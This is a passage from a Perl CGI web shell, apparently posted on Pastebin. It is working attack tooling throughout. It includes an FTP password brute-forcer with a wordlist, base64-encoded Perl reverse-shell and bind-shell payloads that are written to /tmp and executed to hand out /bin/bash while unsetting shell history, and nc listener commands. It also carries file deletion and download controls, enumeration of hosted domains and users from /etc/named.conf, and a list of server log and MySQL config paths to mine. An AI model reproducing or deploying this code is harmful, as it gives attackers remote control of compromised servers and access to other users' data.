  949. abcabc
  950. !@#!@#
  951. !@#$%^
  952. !@#$%^&*(
  953. !@#$$#@!
  954. abc123
  955. anhyeuem
  956. iloveyou</textarea>
  957. </td>
  958. </tr>
  959. <tr>
  960. <td colspan="2" align="center">
  961. Sleep:<select name="sleep">
  962.  
  963. <option>0</option>
  964. <option>1</option>
  965. <option>2</option>
  966.  
  967. <option>3</option>
  968. </select>
  969. <input type="submit" value="Brute Forcer"/></td></tr>
  970. </form>
  971. </table>
  972. END
  973. return $result;
  974. }
  975. #------------------------------------------------------------------------------
  976. # Brute Forcer
  977. #------------------------------------------------------------------------------
  978. sub BruteForcer
  979. {
  980.     my $result="";
  981.     $Server=$ENV{'SERVER_ADDR'};
  982.     if($in{'user'} eq "")
  983.     {
  984.         $result .= &BruteForcerForm;
  985.     }else
  986.     {
  987.         use Net::FTP;
  988.         @user= split(/\n/, $in{'user'});
  989.         @pass= split(/\n/, $in{'pass'});
  990.         chomp(@user);
  991.         chomp(@pass);
  992.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  993.         foreach $username (@user)
  994.         {
  995.             if($username ne "")
  996.             {
  997.                 foreach $password (@pass)
  998.                 {
  999.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1000.                     if($ftp->login("$username","$password"))
  1001.                     {
  1002.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1003.                         $ftp->quit();
  1004.                         break;
  1005.                     }
  1006.                     if($in{'sleep'} ne "0")
  1007.                     {
  1008.                         sleep(int($in{'sleep'}) * 1000);
  1009.                     }
  1010.                     $ftp->quit();
  1011.                 }
  1012.             }
  1013.         }
  1014.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1015.     }
  1016.     return $result;
  1017. }
  1018. #------------------------------------------------------------------------------
  1019. # Backconnect Form
  1020. #------------------------------------------------------------------------------
  1021. sub BackBindForm
  1022. {
  1023.     return <<END;
  1024.     <br><br>
  1025.  
  1026.     <table>
  1027.     <tr>
  1028.     <form name="f" method="POST" action="$ScriptLocation">
  1029.     <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1030.     <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1031.      Port: <input type="text" size="6" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1032.  
  1033.     <td><input name="s" type="submit" name="submit" value="Connect"></td>
  1034.     </form>
  1035.     </tr>
  1036.     <tr>
  1037.     <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1038.     <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1039.     <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1040.  
  1041.     </tr>
  1042.     </table>
  1043.  
  1044.     <br><br>
  1045.     <table>
  1046.     <tr>
  1047.     <form method="POST" action="$ScriptLocation">
  1048.     <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1049.  
  1050.     <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1051.  
  1052.      Password: <input type="text" size="12" name="bindpass" value="vinakid"></td>
  1053.     <td><input name="s" type="submit" name="submit" value="Bind"></td>
  1054.     </form>
  1055.     </tr>
  1056.     <tr>
  1057.     <td colspan=3><font color=#FFFFFF>[+] Testing ....
  1058.     <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1059.  
  1060.     </tr>
  1061.     </table><br>
  1062. END
  1063. }
  1064. #------------------------------------------------------------------------------
  1065. # Backconnect use perl
  1066. #------------------------------------------------------------------------------
  1067. sub BackBind
  1068. {
  1069.     use Socket;
  1070.     $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1071.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1072.  
  1073.     $ClientAddr = $in{'clientaddr'};
  1074.     $ClientPort = int($in{'clientport'});
  1075.     if($ClientPort eq 0)
  1076.     {
  1077.         return &BackBindForm;
  1078.     }elsif(!$ClientAddr eq "")
  1079.     {
  1080.         $Data=decode_base64($backperl);
  1081.         if(-w "/tmp/")
  1082.         {
  1083.             $File="/tmp/backconnect.pl";   
  1084.         }else
  1085.         {
  1086.             $File=$CurrentDir.$PathSep."backconnect.pl";
  1087.         }
  1088.         open(FILE, ">$File");
  1089.         print FILE $Data;
  1090.         close FILE;
  1091.         system("perl $File $ClientAddr $ClientPort");
  1092.         unlink($File);
  1093.         exit 0;
  1094.     }else
  1095.     {
  1096.         $Data=decode_base64($bindperl);
  1097.         if(-w "/tmp")
  1098.         {
  1099.             $File="/tmp/bindport.pl";  
  1100.         }else
  1101.         {
  1102.             $File=$CurrentDir.$PathSep."bindport.pl";
  1103.         }
  1104.         open(FILE, ">$File");
  1105.         print FILE $Data;
  1106.         close FILE;
  1107.         system("perl $File $ClientPort");
  1108.         unlink($File);
  1109.         exit 0;
  1110.     }
  1111. }
  1112. #------------------------------------------------------------------------------
  1113. #  Array List Directory
  1114. #------------------------------------------------------------------------------
  1115. sub RmDir($)
  1116. {
  1117.     my $dir = shift;
  1118.     if(opendir(DIR,$dir))
  1119.     {
  1120.         while($file = readdir(DIR))
  1121.         {
  1122.             if(($file ne ".") && ($file ne ".."))
  1123.             {
  1124.                 $file= $dir.$PathSep.$file;
  1125.                 if(-d $file)
  1126.                 {
  1127.                     &RmDir($file);
  1128.                 }
  1129.                 else
  1130.                 {
  1131.                     unlink($file);
  1132.                 }
  1133.             }
  1134.         }
  1135.         closedir(DIR);
  1136.     }
  1137. }
  1138. sub FileOwner($)
  1139. {
  1140.     my $file = shift;
  1141.     if(-e $file)
  1142.     {
  1143.         ($uid,$gid) = (stat($file))[4,5];
  1144.         if($WinNT)
  1145.         {
  1146.             return "???";
  1147.         }
  1148.         else
  1149.         {
  1150.             $name=getpwuid($uid);
  1151.             $group=getgrgid($gid);
  1152.             return $name."/".$group;
  1153.         }
  1154.     }
  1155.     return "???";
  1156. }
  1157. sub ParentFolder($)
  1158. {
  1159.     my $path = shift;
  1160.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1161.     chop($path = `$Comm`);
  1162.     return $path;
  1163. }
  1164. sub FilePerms($)
  1165. {
  1166.     my $file = shift;
  1167.     my $ur = "-";
  1168.     my $uw = "-";
  1169.     if(-e $file)
  1170.     {
  1171.         if($WinNT)
  1172.         {
  1173.             if(-r $file){ $ur = "r"; }
  1174.             if(-w $file){ $uw = "w"; }
  1175.             return $ur . " / " . $uw;
  1176.         }else
  1177.         {
  1178.             $mode=(stat($file))[2];
  1179.             $result = sprintf("%04o", $mode & 07777);
  1180.             return $result;
  1181.         }
  1182.     }
  1183.     return "0000";
  1184. }
  1185. sub FileLastModified($)
  1186. {
  1187.     my $file = shift;
  1188.     if(-e $file)
  1189.     {
  1190.         ($la) = (stat($file))[9];
  1191.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1192.         $y = $y + 1900;
  1193.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1194.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1195.         return $lmtime;
  1196.     }
  1197.     return "???";
  1198. }
  1199. sub FileSize($)
  1200. {
  1201.     my $file = shift;
  1202.     if(-f $file)
  1203.     {
  1204.         return -s "$file";
  1205.     }
  1206.     return "0";
  1207. }
  1208. sub ParseFileSize($)
  1209. {
  1210.     my $size = shift;
  1211.     if($size <= 1024)
  1212.     {
  1213.         return $size. " B";
  1214.     }
  1215.     else
  1216.     {
  1217.         if($size <= 1024*1024)
  1218.         {
  1219.             $size = sprintf("%.02f",$size / 1024);
  1220.             return $size." KB";
  1221.         }
  1222.         else
  1223.         {
  1224.             $size = sprintf("%.2f",$size / 1024 / 1024);
  1225.             return $size." MB";
  1226.         }
  1227.     }
  1228. }
  1229. sub trim($)
  1230. {
  1231.     my $string = shift;
  1232.     $string =~ s/^\s+//;
  1233.     $string =~ s/\s+$//;
  1234.     return $string;
  1235. }
  1236. sub AddSlashes($)
  1237. {
  1238.     my $string = shift;
  1239.     $string=~ s/\\/\\\\/g;
  1240.     return $string;
  1241. }
  1242. sub TrimSlashes($)
  1243. {
  1244.     my $string = shift;
  1245.     $string=~ s/\/\//\//g;
  1246.     $string=~ s/\\\\/\\/g;
  1247.     return $string;
  1248. }
  1249. sub ListDir
  1250. {
  1251.     my $path = &TrimSlashes($CurrentDir.$PathSep);
  1252.     my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1253.     if(-d $path)
  1254.     {
  1255.         my @fname = ();
  1256.         my @dname = ();
  1257.         if(opendir(DIR,$path))
  1258.         {
  1259.             while($file = readdir(DIR))
  1260.             {
  1261.                 $f=$path.$file;
  1262.                 if(-d $f)
  1263.                 {
  1264.                     push(@dname,$file);
  1265.                 }
  1266.                 else
  1267.                 {
  1268.                     push(@fname,$file);
  1269.                 }
  1270.             }
  1271.             closedir(DIR);
  1272.         }
  1273.         @fname = sort { lc($a) cmp lc($b) } @fname;
  1274.         @dname = sort { lc($a) cmp lc($b) } @dname;
  1275.         $result .= "<div><table width='90%' class='listdir'>
  1276.         <tr style='background-color: #3e3e3e'><th>File Name</th>
  1277.         <th width='100'>File Size</th>
  1278.         <th width='150'>Owner</th>
  1279.         <th width='100'>Permission</th>
  1280.         <th width='150'>Last Modified</th>
  1281.         <th width='230'>Action</th></tr>";
  1282.         my $style="notline";
  1283.         my $i=0;
  1284.         foreach my $d (@dname)
  1285.         {
  1286.             $style= ($style eq "line") ? "notline": "line";
  1287.             $d = &trim($d);
  1288.             $dirname=$d;
  1289.             if($d eq "..")
  1290.             {
  1291.                 $d = &ParentFolder($path);
  1292.             }
  1293.             elsif($d eq ".")
  1294.             {
  1295.                 next;
  1296.             }
  1297.             else
  1298.             {
  1299.                 $d = $path.$d;
  1300.             }
  1301.             $result .= "<tr class='$style'><td id='File_$i' class='dir'><a  href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1302.             $result .= "<td>DIR</td>";
  1303.             $result .= "<td>".&FileOwner($d)."</td>";
  1304.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1305.             $result .= "<td>".&FileLastModified($d)."</td>";
  1306.             $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  1307.             $result .= "</tr>";
  1308.             $i++;
  1309.         }
  1310.         foreach my $f (@fname)
  1311.         {
  1312.             $style= ($style eq "line") ? "notline": "line";
  1313.             $file=$f;
  1314.             $f = $path.$f;
  1315.             my $action = encode_base64("edit ".$file);
  1316.             $view = "?dir=".$path."&view=".$f;
  1317.             $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1318.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1319.             $result .= "<td>".&FileOwner($f)."</td>";
  1320.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1321.             $result .= "<td>".&FileLastModified($f)."</td>";
  1322.             $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  1323.             $result .= "</tr>";
  1324.             $i++;
  1325.         }
  1326.         $result .= "</table></div>";
  1327.     }
  1328.     return $result;
  1329. }
  1330. #------------------------------------------------------------------------------
  1331. #------------------------------------------------------------------------------
  1332. sub ViewDomainUser
  1333. {
  1334.     open (d0mains, '/etc/named.conf') or $err=1;
  1335.     my @cnzs = <d0mains>;
  1336.     close d0mains;
  1337.     my $style="line";
  1338.     my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Domain + User</font></h3>";
  1339.     if ($err)
  1340.     {
  1341.         $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1342.         return $result;
  1343.     }else
  1344.     {
  1345.         $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1346.     }
  1347.     foreach my $one (@cnzs)
  1348.     {
  1349.         if($one =~ m/.*?zone "(.*?)" {/)
  1350.         {  
  1351.             $style= ($style eq "line") ? "notline": "line";
  1352.             $filename= trim("/etc/valiases/".$1);
  1353.             $owner = getpwuid((stat($filename))[4]);
  1354.             $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1355.         }
  1356.     }
  1357.     $result .= '</table>';
  1358.     return $result;
  1359. }
  1360. #------------------------------------------------------------------------------
  1361. #------------------------------------------------------------------------------
  1362. sub ViewLog
  1363. {
  1364.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1365.     if($WinNT)
  1366.     {
  1367.         return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1368.     }
  1369.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1370.     my @pathlog=(   '/usr/local/apache/logs/error_log',
  1371.             '/usr/local/apache/logs/access_log',
  1372.             '/usr/local/apache2/conf/httpd.conf',
  1373.             '/var/log/httpd/error_log',
  1374.             '/var/log/httpd/access_log',
  1375.             '/usr/local/cpanel/logs/error_log',
  1376.             '/usr/local/cpanel/logs/access_log',
  1377.             '/usr/local/apache/logs/suphp_log',
  1378.             '/usr/local/cpanel/logs',
  1379.             '/usr/local/cpanel/logs/stats_log',
  1380.             '/usr/local/cpanel/logs/access_log',
  1381.             '/usr/local/cpanel/logs/error_log',
  1382.             '/usr/local/cpanel/logs/license_log',
  1383.             '/usr/local/cpanel/logs/login_log',
  1384.             '/usr/local/cpanel/logs/stats_log',
  1385.             '/var/cpanel/cpanel.config',
  1386.             '/usr/local/php/lib/php.ini',
  1387.             '/usr/local/php5/lib/php.ini',
  1388.             '/var/log/mysql/mysql-bin.log',
  1389.             '/var/log/mysql.log',
  1390.             '/var/log/mysqlderror.log',
  1391.             '/var/log/mysql/mysql.log',
  1392.             '/var/log/mysql/mysql-slow.log',
  1393.             '/var/mysql.log',
  1394.             '/var/lib/mysql/my.cnf',
  1395.             '/etc/mysql/my.cnf',
  1396.             '/etc/my.cnf',
  1397.             );
  1398.     my $i=0;
  1399.     my $perms;
  1400.     my $sl;
  1401.     foreach my $log (@pathlog)
  1402.     {
  1403.         if(-r $log)
  1404.         {
  1405.             $perms="OK";
  1406.         }else
  1407.         {
  1408.             $perms="<font style='color: red;'>Cancel<font>";
  1409.         }
  1410.         $result .=<<END;
  1411.         <tr>
  1412.  
  1413.             <form action="" method="post" onSubmit="Encoder('log$i')">
  1414.             <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1415.             <td><input type="submit" value="Try" /></td>
  1416.             <input type="hidden" name="a" value="command" />
  1417.             <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1418.             </form>
  1419.             <td>$perms</td>
  1420.  
  1421.         </tr>
  1422. END
  1423.         $i++;
  1424.     }
  1425.     $result .="</table>";
  1426.     return $result;
  1427. }
  1428.  
  1429. &ReadParse;
  1430. &GetCookies;
  1431.  
  1432. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1433. $ServerName = $ENV{'SERVER_NAME'};
  1434. $LoginPassword = $in{'p'};
  1435. $RunCommand = decode_base64($in{'c'});
  1436. $TransferFile = $in{'f'};
  1437. $Options = $in{'o'};
  1438. $Action = $in{'a'};
  1439.  
  1440. $Action = "command" if($Action eq "");
  1441.  
  1442.  
  1443. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1444.  
  1445. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1446. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1447.  
  1448. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1449.  
  1450. if($Action eq "login" || !$LoggedIn)         
  1451. {
  1452.     &PerformLogin;
  1453. }elsif($Action eq "gui")
  1454. {
  1455.     &PrintPageHeader("d");
  1456.     if(!$WinNT)
  1457.     {
  1458.         $chmod=int($in{'chmod'});
  1459.         if($chmod ne 0)
  1460.         {
  1461.             $chmod=int($in{'chmod'});
  1462.             $file=$CurrentDir.$PathSep.$TransferFile;
  1463.             if(chmod($chmod,$file))
  1464.             {
  1465.                 print "<run> Done! </run><br>";
  1466.             }else
  1467.             {
  1468.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1469.             }
  1470.         }
  1471.     }
  1472.     $rename=$in{'rename'};
  1473.     if($rename ne "")
  1474.     {
  1475.         if(rename($TransferFile,$rename))
  1476.         {
  1477.             print "<run> Done! </run><br>";
  1478.         }else
  1479.         {
  1480.             print "<run> Sorry! You dont have permissions! </run><br>";
  1481.         }
  1482.     }
  1483.     $remove=$in{'remove'};
  1484.     if($remove ne "")
  1485.     {
  1486.         $rm = $CurrentDir.$PathSep.$remove;
  1487.         if(-d $rm)
  1488.         {
  1489.             &RmDir($rm);
  1490.         }else
  1491.         {
  1492.             if(unlink($rm))
  1493.             {
  1494.                 print "<run> Done! </run><br>";
  1495.             }else
  1496.             {
  1497.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1498.             }          
  1499.         }
  1500.     }
  1501.     print &ListDir;
  1502.  
  1503. }
  1504. elsif($Action eq "command")                  
  1505. {
  1506.     &PrintPageHeader("c");
  1507.     print &ExecuteCommand;
  1508. }
  1509. elsif($Action eq "save")                     
  1510. {
  1511.     &PrintPageHeader;
  1512.     if(&SaveFile($in{'data'},$in{'file'}))
  1513.     {
  1514.         print "<run> Done! </run><br>";
  1515.     }else
  1516.     {
  1517.         print "<run> Sorry! You dont have permissions! </run><br>";
  1518.     }
  1519.     print &ListDir;
  1520. }elsif($Action eq "upload")                      
  1521. {
  1522.     &PrintPageHeader("c");
  1523.     print &UploadFile;
  1524. }elsif($Action eq "backbind")                
  1525. {
  1526.     &PrintPageHeader("clientport");
  1527.     print &BackBind;
  1528. }elsif($Action eq "bruteforcer")             
  1529. {
  1530.     &PrintPageHeader;
  1531.     print &BruteForcer;
  1532. }elsif($Action eq "download")                
  1533. {
  1534.     print &DownloadFile;
  1535. }elsif($Action eq "checklog")                
  1536. {
  1537.     &PrintPageHeader;
  1538.     print &ViewLog;
  1539.  
  1540. }elsif($Action eq "domainsuser")             
  1541. {
  1542.     &PrintPageHeader;
  1543.     print &ViewDomainUser;
  1544. }elsif($Action eq "logout")                  
  1545. {
  1546.     &PerformLogout;
  1547. }
  1548. &PrintPageFooter;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!